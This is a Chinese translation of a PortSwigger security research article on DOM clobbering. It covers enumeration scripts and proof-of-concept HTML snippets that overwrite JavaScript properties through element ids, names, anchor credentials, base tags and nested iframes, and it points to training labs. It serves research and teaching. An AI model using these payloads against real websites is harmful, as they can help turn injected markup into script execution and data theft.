原文: https://portswigger.net/research/dom-clobbering-strikes-back

作者:Gareth Heyes


随着诸如XSS和CSRF之类的经典客户端漏洞被修复,与CSP和同源相关的漏洞也不再提及,像是DOM Clobbering这样的攻击技术变得越来越重要。最近,在我首次于2013年介绍该项技术后,Michal Bentkowski利用DOM Clobbering攻击了Gmail。在这篇文章中,我会简单介绍一下DOM Clobbering技术,在我原本的研究中加入一些新的技术,同时分享两个交互的实验室,这样你可以自己尝试这些新技术。如果你还不熟悉DOM Clobbering,或许你想先阅读一下Web Security Academy中我们对其的介绍

确定DOM元素间的关系

首先,获得可以组合在一起的HTML元素列表十分简单。你只需要把两个HTML元素相邻放置,分别为其分配一个ID,然后检查第一个元素是否具有第二个元素的属性。代码如下:

var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++) {
    for(var j=0;j<html.length;j++) {
        div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
        document.body.appendChild(div);
        if(window.element1 && element1.element2){
            log.push(html[i]+','+html[j]);
        }
        document.body.removeChild(div);
    }
}
console.log(log.join('\n'));

代码执行结果与预期相似,产生了一个包含与表单相关的元素和图像元素的列表。

form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea

所以,如果你想破坏一个对象的x.y.value值,可以这样做:

<form id=x><output id=y>I've been clobbered</output>
<script>
alert(x.y.value);
</script>

当然你也可以用我之前的技巧,使用id和name属性组成一个DOM集合。一个DOM集合类似包含多个DOM元素的数组。你可以通过数字索引或其名字访问集合中的元素。

<a id=x><a id=x name=y href="Clobbered">
<script>
alert(x.y)
</script>

新的DOM Clobbering技术

通过使用带有表单的DOM集合,可以深入破坏三个层次(感谢@PwnFunction的纠正)

<form id=x name=y><input id=z></form>
<form id=x></form>
<script>
alert(x.y.z)
</script>

在Chrome中,如果在父表单中使用带有表单控件或者图像元素时,你可以将这组元素变成类似数组的对象。Chrome把这类对象标记为[object RadioNodeList],并且可以使用forEach这样数组中存在的方法。

<form id=x>
<input id=y name=z>
<input id=y>
</form>
<script>
x.y.forEach(element=>alert(element))
</script>

你可能好奇为什么不只使用属性(attributes)。好吧,只有在HTML规范将其定义为有效属性时,该属性才起作用。这就意味着,任何未被定义有效的属性都不具有DOM属性(property),所以是未定义的。例如:

<form id=x y=123></form>
<script>
alert(x.y)//未定义
</script>

你可以轻易在DOM中搜索可以被破坏的属性:

var html = [...]//HTML元素数组
var props=[];
for(i=0;i<html.length;i++){
    obj = document.createElement(html[i]);
    for(prop in obj) {
        if(typeof obj[prop] === 'string') {
            try {
                props.push(html[i]+':'+prop);
            }catch(e){}
        }
    }
}
console.log([...new Set(props)].join('\n'));

上面的代码会显示为字符串的DOM属性,但是它们不一定可控。如果想要检查它们是否在某种程度上可控,你可以尝试给该属性赋值,并读取该值。

var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
    obj = document.createElement(html[i]);
    for(prop in obj) {
        if(typeof obj[prop] === 'string') {
            try {
                DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
                if(document.getElementById('x')[prop] == 1) {
                    props.push(html[i]+':'+prop);
                }
            }catch(e){}
        }
    }
}
console.log([...new Set(props)].join('\n'));

在运行上述所有代码时,我注意到结果中的"username"和"password"有两个空白字符串。这些是锚标记的DOM属性,而不是HTML属性。看起来你可以通过锚来控制这些值。通过反复实验,我发现这些属性与FTP URL中的用来提供凭据的用户名、密码部分有关。这也适用于使用@符号提供用户名和密码的HTTP URL。

<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>

你可能已经注意到在使用诸如href这样可以被破坏的属性时,浏览器通常会对这些值进行URL编码。想要解决该问题,可以使用不同的协议,例如file:或者其他协议。

<a id=x href="abc:<>">
<script>
alert(x)//abc:<>
</script>

Firefox还允许你在base标签中使用其他协议,该协议会被锚使用,同时允许未编码的值。

<base href=a:abc><a id=x href="Firefox<>">
<script>
alert(x)//Firefox<>
</script>

也可以在Chrome中做同样的事,只不过这次要在base标签的href属性中提供你想要的值:

<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
<script>
alert(x.xyz)//a://Clobbered<>
</script>

我们已经在Web Security Academy中发布了两个基于该技术构建的交互式DOM实验室,你可以自己尝试:

Clobbering to enable XSS lab

Clobbering attributes lab

更新:破坏多于三层

@Terjanq提到,可以使用iframes和srcdoc破坏多层的属性。因为如果在一个iframe上设置了name属性,该iframe真正的contentWindow会分配给这个name中的全局变量,所以该技术是有效的。之后,你就可以将该iframe中的HTML元素链接在一起。例如:

<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>

你可能已经注意到,该技术需要使用setTimeout函数引发延迟来渲染iframe。不过我找到了一种不需要timeout的使用iframe的方法!如果你使用了style/link元素来导入样式表,这会导致一个小的延迟,从而使iframe能立即被渲染并被破坏。工作方式如下:

<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>
<script>
alert(a.b.c.d)
</script>

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖